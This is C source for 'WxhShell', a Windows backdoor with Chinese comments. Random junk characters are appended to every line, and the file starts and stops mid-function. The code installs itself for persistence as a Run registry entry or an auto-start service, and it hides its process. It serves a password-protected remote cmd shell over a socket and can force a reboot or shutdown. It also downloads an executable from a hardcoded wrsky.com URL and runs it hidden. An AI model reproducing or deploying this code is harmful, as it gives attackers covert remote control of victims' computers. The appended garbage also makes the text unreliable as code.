    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -9I%   
    if(Boot(SHUTDOWN)) \Sby(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJxVU41  
    else { c.Y8CD.tqL  
    closesocket(wsh); ;8T=uCi  
    ExitThread(0); P` F'Nf2U  
    } ;QQ7vo  
    break; 5#)<rK  
    } HdUW(FZ  
  // 获取shell KL  mB  
  case 's': { BznA)EK?@  
    CmdShell(wsh); grdyiBSVn  
    closesocket(wsh); _ICDtG^  
    ExitThread(0); j~H`*R=ld#  
    break; 4 .B*B3  
  } vx@p;1RU`  
  // 退出 [Be53U{=  
  case 'x': { dO;vcgvb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xg^^@o  
    CloseIt(wsh); @%nUfG7TQ  
    break; X9A[  
    } |a$w;s>\  
  // 离开 AdW2o|Uap  
  case 'q': { !s*''v*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FqxOHovE  
    closesocket(wsh); 1GE%5  
    WSACleanup(); ><MgIV  
    exit(1);  Gy6 qLM  
    break; }!<cph  
        } w a<C*o  
  } {U '&9_y  
  } %Dls36F  
2 `h!:0  
  // 提示信息 "ue$DyN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Rx"L&3Ue  
} w LN2`ucC  
  } ZV]e-  
@1&;R  
  return; Fg\| e%  
} \ e8*vos  
s]vJUC,s  
// shell模块句柄 Sje0:;;|  
int CmdShell(SOCKET sock) HL}~W}!j  
{ Y0yO `W4  
STARTUPINFO si; \seG2vw$  
ZeroMemory(&si,sizeof(si)); Rfc&OV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `vxrC&,As  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kqvJ&7  
PROCESS_INFORMATION ProcessInfo; P"uHtHK  
char cmdline[]="cmd"; 8H#c4%by)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Owpg]p yVD  
  return 0; hAr[atu87  
} !8@rK$DB  
E}' d,v#Z{  
// 自身启动模式 n~ >h4=h  
int StartFromService(void) +F~0\#d  
{ iQzX-a|4]  
typedef struct T[XP\!z]B!  
{ \_Kt6=  
  DWORD ExitStatus; ?hJsN  
  DWORD PebBaseAddress; uWB:"&!^  
  DWORD AffinityMask; T E&Q6  
  DWORD BasePriority; vMX6Bg8  
  ULONG UniqueProcessId; dHq )vs,L  
  ULONG InheritedFromUniqueProcessId; ow+Dd[i  
}   PROCESS_BASIC_INFORMATION; EdAR<VfleA  
3hXmYz(  
PROCNTQSIP NtQueryInformationProcess; b;J0'o^G|  
.)@tXH=}+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RQpIBsj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2WPF{y%/  
i$JG^6,O  
  HANDLE             hProcess; ]fADaw-R  
  PROCESS_BASIC_INFORMATION pbi; .5!sOOs$P  
%-ZR~*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -RH4y 2  
  if(NULL == hInst ) return 0; Z&]+A,  
s1Tl.p5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,|. *,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~nj bLUB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FQ^<,  
l!;_lH8W$  
  if (!NtQueryInformationProcess) return 0; F!)M<8jL&9  
14r Vb2^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .:Bwa  
  if(!hProcess) return 0; zyZok*s  
<p^*Ydx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nGv23R(?G  
2z.8rNwT  
  CloseHandle(hProcess); " _:iK]  
+% XhQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,_Qe}qFU  
if(hProcess==NULL) return 0; XewXTd #x  
s("Cn/ZkS  
HMODULE hMod; f OM^V{)T  
char procName[255]; 2E3?0DL",  
unsigned long cbNeeded; U1>  
O2q=gYX>\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9iGE`1N%E  
Ld\LKwo  
  CloseHandle(hProcess); @L[PW@:SZ  
/lr1hW~Dbk  
if(strstr(procName,"services")) return 1; // 以服务启动 K_AtU/  
8<yV  
  return 0; // 注册表启动 X;OsH  
} ]g>m?\'n  
T/GgF&i3  
// 主模块 \)^,PA3  
int StartWxhshell(LPSTR lpCmdLine) 0q[p{_t`  
{ N)y^</Ya  
  SOCKET wsl; {=bg5I0|a  
BOOL val=TRUE; ]&C:>  
  int port=0; FDF3zzP0  
  struct sockaddr_in door; ASKAgU"h  
:BL'>V   
  if(wscfg.ws_autoins) Install(); K0 O-WJ  
]pOYVf *$  
port=atoi(lpCmdLine); C#U< k0R  
z^gQ\\,4  
if(port<=0) port=wscfg.ws_port; nDHHYp  
H.YIv50E  
  WSADATA data; 4|> rwQ~t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p^KlH=1n.6  
,7^d9v3t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r,2Xu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @<D'-mMt  
  door.sin_family = AF_INET; z(g%ue\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ? G$Om  
  door.sin_port = htons(port); SY%A"bC  
cBz!U 8(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZnvEv;P  
closesocket(wsl); KTG:I@|C  
return 1; '}jf#C1$c  
} BIxV|\k  
h8f!<:rTS  
  if(listen(wsl,2) == INVALID_SOCKET) { :3KO6/+  
closesocket(wsl); r{t. c?/  
return 1; MV"E?}0  
} P0%N Q1bn  
  Wxhshell(wsl); n-b>m7O(  
  WSACleanup(); k{gl^  
7?6xPKQ)H  
return 0; e[x?6He,$  
A Gv!c($  
} rNxrQ  
K\RWC4  
// 以NT服务方式启动 J+ Jt4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AMbKN2h1f  
{ `Y\gSUhzS  
DWORD   status = 0; yGb a  
  DWORD   specificError = 0xfffffff; F&=I7i  
; cGv] A+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U91 &|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uc_jQ4e_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B#FHf Z  
  serviceStatus.dwWin32ExitCode     = 0; 9#v-2QY  
  serviceStatus.dwServiceSpecificExitCode = 0; F>(qOH.I  
  serviceStatus.dwCheckPoint       = 0; \hs/D+MCk  
  serviceStatus.dwWaitHint       = 0; YV5Yx-+3w$  
l6iw=b[?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8)L'rW{q#  
  if (hServiceStatusHandle==0) return; z-n>9  
R[x7QlA;  
status = GetLastError(); {eEBrJJeB  
  if (status!=NO_ERROR) kUNj4xp)  
{ M{C6rm|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iI3v[S  
    serviceStatus.dwCheckPoint       = 0; p86~~rvq[  
    serviceStatus.dwWaitHint       = 0; R'rTE  
    serviceStatus.dwWin32ExitCode     = status; FX H0PK  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,"~WkLI~\t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TQ; Z.)L  
    return; /_]ltXD  
  } *8z"^7?^=  
[/ AIKZM<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I[}75:^Rt  
  serviceStatus.dwCheckPoint       = 0; ?q\FLb%"7  
  serviceStatus.dwWaitHint       = 0; %dEB/[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3\;v5D:  
} d)N^PJ/  
ZB-QABn  
// 处理NT服务事件,比如:启动、停止 /+>)"D6'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZTN(irK  
{ &|)hCJu  
switch(fdwControl) ZAMeqPt  
{ DW#Bfo  
case SERVICE_CONTROL_STOP: ,Kuk_@(}5~  
  serviceStatus.dwWin32ExitCode = 0; >9ob*6q,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +wipfL~&S  
  serviceStatus.dwCheckPoint   = 0; 538fK9[  
  serviceStatus.dwWaitHint     = 0; 2b5#PcKa  
  { +a|"{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 59.$ULQVMY  
  } X4a^m w\"  
  return; }i(qt&U;  
case SERVICE_CONTROL_PAUSE: 5?Bc Y ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2z4<N2! M  
  break; fV 3r|Bp  
case SERVICE_CONTROL_CONTINUE: 3filAGR?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z<hFK+j,'^  
  break; Re>AsnA[  
case SERVICE_CONTROL_INTERROGATE: LIF|bE9kd  
  break; l';pP^.q  
}; ^EF'TO$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yf!,4SUkU  
} zJ;Rt9<7-  
UVrQV$g!  
// 标准应用程序主函数 xq2V0Jp1u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pg`JQC|  
{ 9CB\n  
_g[-=y{Bb  
// 获取操作系统版本 xOythvO  
OsIsNt=GetOsVer(); t-WjL@$F/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tR1FO%nC  
o]<jZ_|gB  
  // 从命令行安装 vYdR ht\(  
  if(strpbrk(lpCmdLine,"iI")) Install(); PY?8 [A+  
3)3Hck  
  // 下载执行文件 6JhMkB^h  
if(wscfg.ws_downexe) { um7o!yg,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Y,r@D  
  WinExec(wscfg.ws_filenam,SW_HIDE); []zua14F6  
} K/^ +eoW(  
{6h|6.S2  
if(!OsIsNt) { _-O cc=Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 b._m8z ~  
HideProc(); +TH3&H5I_A  
StartWxhshell(lpCmdLine); dy<27=  
} W m . }Zh  
else >^=gDJ\a  
  if(StartFromService()) =LI:S|[4  
  // 以服务方式启动 wO7t!35  
  StartServiceCtrlDispatcher(DispatchTable); w~|1Wd<v  
else IxOc':/jY  
  // 普通方式启动 h d2'AlB  
  StartWxhshell(lpCmdLine); aE)by-'  
8YX)0i'  
return 0; oZN'H T  
} -R0/o7  
[}-3PpF  
jAC78n,Fi@  
W\8Ln>  
=========================================== BtsdeLj|  
$ J1f.YE  
$shp(T,q  
&w85[zs  
Y/fJQ6DY  
6ZOy&fd,Ty  
" F PR`tE  
Qhn;`9+L  
#include <stdio.h> Vn, >< g  
#include <string.h> @0NJ{  
#include <windows.h> 63 2bN=>  
#include <winsock2.h> pK}=*y~$  
#include <winsvc.h> ?mv:neh  
#include <urlmon.h> IRW^ok.'b!  
V5p0h~PK  
#pragma comment (lib, "Ws2_32.lib") jVWK0Zba  
#pragma comment (lib, "urlmon.lib") s^hR\iY  
eGL<vX  
#define MAX_USER   100 // 最大客户端连接数 tg\|?  
#define BUF_SOCK   200 // sock buffer 2eb1 lJdS  
#define KEY_BUFF   255 // 输入 buffer 3<:jx~y>  
!L$x:/R9M  
#define REBOOT     0   // 重启 ?X9U TOx  
#define SHUTDOWN   1   // 关机 4w93}t.z  
s{}]D{bc  
#define DEF_PORT   5000 // 监听端口 h4)Bs\==mT  
:TalW~r|  
#define REG_LEN     16   // 注册表键长度 *[}^[J x  
#define SVC_LEN     80   // NT服务名长度 [k<1`z3  
B^v8,;jZT  
// 从dll定义API -_N)E ))G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O;uG?.\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,$lemH1d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i=S~(gp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vB0RKk}d5  
L]%l51U  
// wxhshell配置信息 kmPYx)o  
struct WSCFG { uLR<FpM  
  int ws_port;         // 监听端口 vB'>[jvA|  
  char ws_passstr[REG_LEN]; // 口令 6%Mt  
  int ws_autoins;       // 安装标记, 1=yes 0=no 12UD19!  
  char ws_regname[REG_LEN]; // 注册表键名 m Y,|J\w@  
  char ws_svcname[REG_LEN]; // 服务名 v,@F|c?_S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?-)I+EAnE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Na{Y}0=^y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L2UsqVU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >ut" OL9J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }baR5v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UL$}{2N,_  
j<<3Pr  
}; `G9 l  
5GzFoy)j>  
// default Wxhshell configuration TrS8h^C  
struct WSCFG wscfg={DEF_PORT, LeOP;#  
    "xuhuanlingzhe", zp}eLm:=d  
    1, }H> ^o9  
    "Wxhshell", \M<3}t  
    "Wxhshell", 4T6 {Y  
            "WxhShell Service", IxZb$h[  
    "Wrsky Windows CmdShell Service", V)ig)(CT  
    "Please Input Your Password: ", Z<?OwAWz  
  1, @(g_<@Jz  
  "http://www.wrsky.com/wxhshell.exe", baV>N[F&  
  "Wxhshell.exe" W/$Zvl  
    }; QS[L~97m2M  
$'rG-g!f\  
// 消息定义模块 =FP0\cQ.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4GdX/6C.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 58Xzup_"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e'%v1-&sP  
char *msg_ws_ext="\n\rExit."; "qz3u`[o  
char *msg_ws_end="\n\rQuit."; rwLAW"0Qz  
char *msg_ws_boot="\n\rReboot..."; B;>{0 s  
char *msg_ws_poff="\n\rShutdown..."; 46@{5)Tq  
char *msg_ws_down="\n\rSave to "; : 18KR*;p  
!9Z r;K~\  
char *msg_ws_err="\n\rErr!"; m0n)dje  
char *msg_ws_ok="\n\rOK!"; r0;:t   
YyAJ m^o  
char ExeFile[MAX_PATH]; "TyJP[/  
int nUser = 0; u$#Wv2|mk  
HANDLE handles[MAX_USER]; }@ Z56  
int OsIsNt; a' Ki;]q  
*iBTI+"]  
SERVICE_STATUS       serviceStatus; a8k;(/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~}EMk3  
\wcam`f  
// 函数声明 .IBp\7W!?E  
int Install(void); 'rp }G&m  
int Uninstall(void); b V+(b9  
int DownloadFile(char *sURL, SOCKET wsh); tGvG  
int Boot(int flag); -VxTx^)>  
void HideProc(void); \>LnLH(  
int GetOsVer(void); L!0OC''C  
int Wxhshell(SOCKET wsl); ULrr=5&8  
void TalkWithClient(void *cs); !* Ti}oIo&  
int CmdShell(SOCKET sock); Q 1d'~e  
int StartFromService(void); '.Ed`?<p  
int StartWxhshell(LPSTR lpCmdLine); NX`*%K  
o1W:ox?kO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v\16RD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O/AaYA&  
@AHm!9?o  
// 数据结构和表定义 c0B|F  
SERVICE_TABLE_ENTRY DispatchTable[] = g8qgk:}  
{ ^k5ll=}  
{wscfg.ws_svcname, NTServiceMain}, )'17r82a  
{NULL, NULL} <h%O?mkC  
}; {;toI  
3.22"U\1:  
// 自我安装 61puqiGG^  
int Install(void) ::Ke ^dp  
{ {~!q`Dr3?q  
  char svExeFile[MAX_PATH]; dm0QcW4  
  HKEY key; NH$r Z7$  
  strcpy(svExeFile,ExeFile); \^ghdU  
Dd;Nz  
// 如果是win9x系统,修改注册表设为自启动 (?_S6H E  
if(!OsIsNt) { qmO6,T-|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @1*ohdHH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +fvaUV_-  
  RegCloseKey(key); Bm&kkx.9P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~|<WHHN (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \fA{1  
  RegCloseKey(key); bM8If"  
  return 0; mPI8_5V8]  
    } 0/S_e)U  
  } L}@c6fHG  
} 3"o"fl  
else { s! n<}C  
(WJ${OW  
// 如果是NT以上系统,安装为系统服务 ? A(QyaKz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xX*H7#  
if (schSCManager!=0) x77l~=P+!  
{ fP.F`V_Y  
  SC_HANDLE schService = CreateService XGP6L0j  
  ( ^Ge+~o?x  
  schSCManager, j'9"cE5_  
  wscfg.ws_svcname, i4^o59}8  
  wscfg.ws_svcdisp, #fT*]NN  
  SERVICE_ALL_ACCESS, XsnF~)YW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LP MU8Er  
  SERVICE_AUTO_START, J[f;Xlh  
  SERVICE_ERROR_NORMAL, :0s]U_h  
  svExeFile, x|yEt O&  
  NULL, .e=C{  
  NULL, A.hd Kl  
  NULL, 1V8-^  
  NULL, {?'fyEeg  
  NULL h/~n\0,J/  
  ); N[kwO1  
  if (schService!=0) iD<(b`S  
  { 3p0LN'q]A  
  CloseServiceHandle(schService); %Gt .m  
  CloseServiceHandle(schSCManager); J,Ks0M A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _YcA+3ZL  
  strcat(svExeFile,wscfg.ws_svcname); f=)2f =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (SKVuR%Jj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aN"DkUYZM  
  RegCloseKey(key); /yM:| `tT  
  return 0; m1Y >Nj[f  
    } ~gGZmT b  
  } 4 :U?u  
  CloseServiceHandle(schSCManager); BJ% eZ.  
} ! u:Weoz  
} `FoxP  
7Hm3;P.  
return 1; (V4 ~`i4V  
} &hRvol\J  
xO-+i\ ZV  
// 自我卸载 K)J(./  
int Uninstall(void) =JJL[}a|  
{ liXdNk8  
  HKEY key; wE~V]bmtW  
;qrB\j"  
if(!OsIsNt) { Z)jw|T'X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {mAU3x  
  RegDeleteValue(key,wscfg.ws_regname); HuOIFv  
  RegCloseKey(key); 66fO7OJs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } \ZaE~  
  RegDeleteValue(key,wscfg.ws_regname); qi_Jywd:w  
  RegCloseKey(key); D9z|VIw8  
  return 0; r#XT3qp$d  
  } ?M[ A7?  
} qAw x2fPu  
} fFc/ d(  
else { Uw 47LP  
St e=&^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y.*y9)#S6  
if (schSCManager!=0) >%wLAS",w  
{ tg{H9tU;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )oyIe)  
  if (schService!=0) *8LMn   
  { >Z1sb  n  
  if(DeleteService(schService)!=0) { xD6@Qk  
  CloseServiceHandle(schService); Rz.?i+  
  CloseServiceHandle(schSCManager); () j =5KDu  
  return 0; )kP5u`v  
  } b j'Xg  
  CloseServiceHandle(schService); >uSy  
  } ';<0/U  
  CloseServiceHandle(schSCManager); %mZ{4<7  
} ,v{rCxFtvU  
} /kfgx{jZ  
JYTP 2  
return 1; Y./2Ely  
} JfR %L q~  
m}X`> aD/  
// 从指定url下载文件 1;{Rhu7* k  
int DownloadFile(char *sURL, SOCKET wsh) 2RX!V@z.G  
{ sQ fFu  
  HRESULT hr; L31HG H2l  
char seps[]= "/"; 8?%-'z.  
char *token; vMS |$L  
char *file; 0PWg;>^'  
char myURL[MAX_PATH]; ^Y'HaneoM  
char myFILE[MAX_PATH]; >"C,@cN}B  
h@[R6G|  
strcpy(myURL,sURL); R00eisd  
  token=strtok(myURL,seps); )BwjZMJ.N  
  while(token!=NULL) +t?3T-@Ks  
  { sD=n95`v  
    file=token; -YCOP0  
  token=strtok(NULL,seps); 7R`mf   
  } Nd;K u6  
v61[.oS  
GetCurrentDirectory(MAX_PATH,myFILE); ia MUsa{  
strcat(myFILE, "\\"); <"_d]?,  
strcat(myFILE, file); IyPwP*A  
  send(wsh,myFILE,strlen(myFILE),0); THS.GvT9[  
send(wsh,"...",3,0); |cR;{Z8?_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` eXaT8  
  if(hr==S_OK) 'nwx9]q  
return 0; & 9<+;*/  
else &sU?Ok6  
return 1; w'UVKpG+  
{QwHc5Bf  
} @0F3$  
`I3r3WyA  
// 系统电源模块 r.BIJt)  
int Boot(int flag) HBMhtfWW  
{ \Rp-;.I@6  
  HANDLE hToken; *cgI.+  
  TOKEN_PRIVILEGES tkp; 9_ d pR.  
[xGf,;Z  
  if(OsIsNt) { lGOgN!?i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vb= Mg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wh.?j>vB  
    tkp.PrivilegeCount = 1; |b)Y#)C;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tfGHea)M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !s&NT @ S  
if(flag==REBOOT) { yI"6Da6|y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1#ft#-g}  
  return 0; @9lUSk^9  
} eb=D/  
else { #':fkIYe'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {62n7'U{  
  return 0; z& fwE$Nm  
} fP(d8xTx2y  
  } m+Rv+_R  
  else { K[!&b0O  
if(flag==REBOOT) { [_Qa9e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;oc&Hb  
  return 0; IWY;="  
} =Xqc]5[i  
else { IyWI5Q"t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ])nPPf  
  return 0; Y4v|ko`l%  
} O R;uqV@  
} o}* hY"&  
3G(miP6  
return 1; %y@Hh=  
} p{j.KI s7  
<psZQdH  
// win9x进程隐藏模块 .n~M(59  
void HideProc(void) Np"exFqN k  
{ ~x ]jB  
70eb]\%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R~S;sJ& c  
  if ( hKernel != NULL ) Z\k&gio5C^  
  { \Hn>oonph  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Ol kM<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _t Yx~J2.Q  
    FreeLibrary(hKernel); BS:+~|3w  
  } /K. !sQ$  
"-+\R}q$  
return; 4#:W.]U8  
} ;{U@qQD7  
]3X@_NYj  
// 获取操作系统版本 oyYR-4m\  
int GetOsVer(void) xo&]$W8  
{ i}B2R$Z3  
  OSVERSIONINFO winfo; (adyZ/j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _N{RVeO  
  GetVersionEx(&winfo); @n{JM7ctJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [E/\#4b  
  return 1; N-e @j4WU  
  else [< &oF  
  return 0; a 0GpfW$t  
} AMyIAZnYq)  
v~@pMA$(h  
// 客户端句柄模块 V{:A3C41  
int Wxhshell(SOCKET wsl) USM4r!x  
{ d~1 gMz+)  
  SOCKET wsh; YLiSbLz1  
  struct sockaddr_in client; %nV]ibp2)  
  DWORD myID; Cd>WUw  
"O%gFye  
  while(nUser<MAX_USER) LC'{p  
{ !BOY@$Y  
  int nSize=sizeof(client); %)0*&a 4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R]RZq+2 ^  
  if(wsh==INVALID_SOCKET) return 1; jhb6T ?}  
3%(N[&LU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); id2j7|$,  
if(handles[nUser]==0) F7O(Cy"1  
  closesocket(wsh); i5CK*"$Q  
else Nw1#M%/!r!  
  nUser++; A^y|J ` k|  
  } }wHW7SJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R' !  
/XzH?n/{R  
  return 0; ,Q HU_jt  
} u (em&M  
9 mmCp&~Z  
// 关闭 socket ucG@?@JENm  
void CloseIt(SOCKET wsh) 6 1F(<!  
{ Y}#J4i0b*  
closesocket(wsh); d;>#Sxf  
nUser--; ,^eYlmT>6  
ExitThread(0); \ywXi~+kUv  
} VrxQc qPr`  
2 -C!jAfd  
// 客户端请求句柄  wv\w;'  
void TalkWithClient(void *cs) L;'"A#Pa  
{ ]y1OFKYv  
(4dhuT  
  SOCKET wsh=(SOCKET)cs; TwVlg ;  
  char pwd[SVC_LEN]; \<y#R~7s  
  char cmd[KEY_BUFF]; ?MgUY)X  
char chr[1]; \\u<S=G  
int i,j; S&b*rA02zp  
YW60q0:  
  while (nUser < MAX_USER) { A8oo@z68n>  
+gJ8{u!=k  
if(wscfg.ws_passstr) { o!{w"K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2M68CE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q2F+?w;,  
  //ZeroMemory(pwd,KEY_BUFF); R}4So1  
      i=0;  Pyb Z)5u  
  while(i<SVC_LEN) { T ^~5n6  
JAQb{KefdO  
  // 设置超时 "6us#T  
  fd_set FdRead; 9+{G8$Ai  
  struct timeval TimeOut; S=e{MI  
  FD_ZERO(&FdRead); uoX:^'q   
  FD_SET(wsh,&FdRead); EB2!HpuQ3  
  TimeOut.tv_sec=8; -wSg2'b4E  
  TimeOut.tv_usec=0; 1>E<8&2[L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZRg;/sX]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SVB\  
V9dF1Hj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R)RG[F#   
  pwd=chr[0]; }5}.lJ:  
  if(chr[0]==0xd || chr[0]==0xa) { =W BTm  
  pwd=0; .[3Z1v,  
  break; zY('t!u8  
  } WqXbI4;pJ  
  i++; H=Y{rq@  
    } :=\Hoz  
Ct=- 4  
  // 如果是非法用户,关闭 socket 4bw4cqY;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VI'hb'2  
} & '}/f5s|  
,kF}lo)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1][S#H/?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gr^E+#;  
hnc@  
while(1) { -2A(5B9Fq  
i*NH'o/  
  ZeroMemory(cmd,KEY_BUFF); $l|qk  z  
HLZ;8/|48m  
      // 自动支持客户端 telnet标准   U~j ^I^  
  j=0; 0QOBL'{7)  
  while(j<KEY_BUFF) { W^] 3XJP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'zGo?a  
  cmd[j]=chr[0]; s#tZg  
  if(chr[0]==0xa || chr[0]==0xd) { 0iwZT&O  
  cmd[j]=0; ^k#P5oV  
  break; _J? Dq  
  } T3pmVl  
  j++; Ou1JIxZ)|  
    } %]8qAtV^3j  
%+K<<iyR|  
  // 下载文件 |>JS!NM I  
  if(strstr(cmd,"http://")) { Wu_kx2h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9)gC6 IiW  
  if(DownloadFile(cmd,wsh)) LG1r]2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8 h;K>=h  
  else eK!V );  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IuRmEL_Q_  
  } DFd%9*N  
  else { W>p-u6u%E|  
o)2W`i&  
